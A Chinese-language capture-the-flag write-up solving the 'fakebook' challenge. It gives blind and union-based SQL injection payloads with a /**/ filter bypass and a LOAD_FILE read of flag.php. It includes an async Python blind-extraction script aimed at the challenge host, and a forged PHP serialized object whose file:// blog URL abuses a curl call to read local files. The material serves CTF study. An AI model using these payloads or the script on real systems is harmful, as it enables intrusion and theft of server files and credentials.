题目:攻防世界:fakebook (sql注入)
提示:sql注入

步骤
- 进入网站查看下功能点,一个登录一个加入。加入一个

注册后自动返回首页,显示出了刚刚注册的用户信息,并且可以点开。

这是点开后的展示页面

- 针对上面对注册和登录点进行抓包,然后尝试注入,login和join页面似乎不存在注入,不过在view展示页面,似乎存在盲注
payload:?no=1 and 1=1 / and 1=2


这里记录一下,爆出了网站目录:/var/www/html
- 扫描网站看一下


下载user.php.bak看下
dart
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现是一个用户类,有些方法和blog的效验。
dart
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
只允许http或https开头,符合域名形式的地址输入,在join页面的时候调用了此方法进行校验。如果可以绕过应该可以利用上面的curl进行file://、gopher://等读文件...尝试了下,没法利用。
- 那还是回到sql注入。
没看到扫描目录中存在flag.php的时候,还在死板的进行sql注入拿数据库名、表名、列名...
dart
数据库:view.php?no=1 AND ASCII(SUBSTR((DATABASE()),1,1))>1
表名:view.php?no=1 and (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)
后面测试了半天,发现数据库名为:fakebook,只有一个表users。
- 回到flag.php,根据之前报错的目录,拼接出 地址:/var/www/html/flag.php,用load_file依次读出内容。

后面直接用ai生成一个脚本,爆破出flag.php的内容:
dart
#!/usr/bin/env python3
import asyncio,aiohttp
URL = "http://61.147.171.105:53869/view.php"
FILE = "/var/www/html/flag.php"
LEN = 70
TOK = "xxx" # 正常页面关键字
CONC = 3
TIME = 30
async def req(payload: str) -> bool:
async with semaphore:
async with session.get(URL, params={'no': f'1 and {payload}'}, timeout=TIME) as r:
return TOK in await r.text()
async def get_char(pos: int) -> str:
v = 0
for bit in range(7): # 0-127 只需 7 位
payload = f"ORD(MID(LOAD_FILE('{FILE}'),{pos},1))&{1<<bit}"
if await req(payload):
v |= 1<<bit
return chr(v)
async def main():
global semaphore,session
semaphore = asyncio.Semaphore(CONC)
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(limit=CONC)) as session:
flag = await asyncio.gather(*(get_char(i) for i in range(1,LEN+1)))
print(''.join(flag))
if __name__ == '__main__':
asyncio.run(main())

补充一下其他方法:
上面view.php?no=1 注入时,测试:?no = -1 union select 1,2,3,4--+ 联合注入 发现有过滤了 union select

可以绕过:union/ /select**
继续 ?no = -1 union//select 1,2,3,4--+ 爆出2回显位

?no=-1 union//select 1,user(),3,4--+ //数据库信息

其实通过联合查询可以直接查出flag.php内容:
dart
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

另外一种继续爆破数据库:
然后爆字段名:
dart
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

发现data字段,读一个看看

似乎和之前下载的备份 user.php.bak 中用户类有关系,看起来像序列化之后的内容。
直接改动 123.blog 为 file:///var/www/html/flag.php
dart
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
dart
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码,发现iframe框架中有base64的加密内容

base64解密得到flag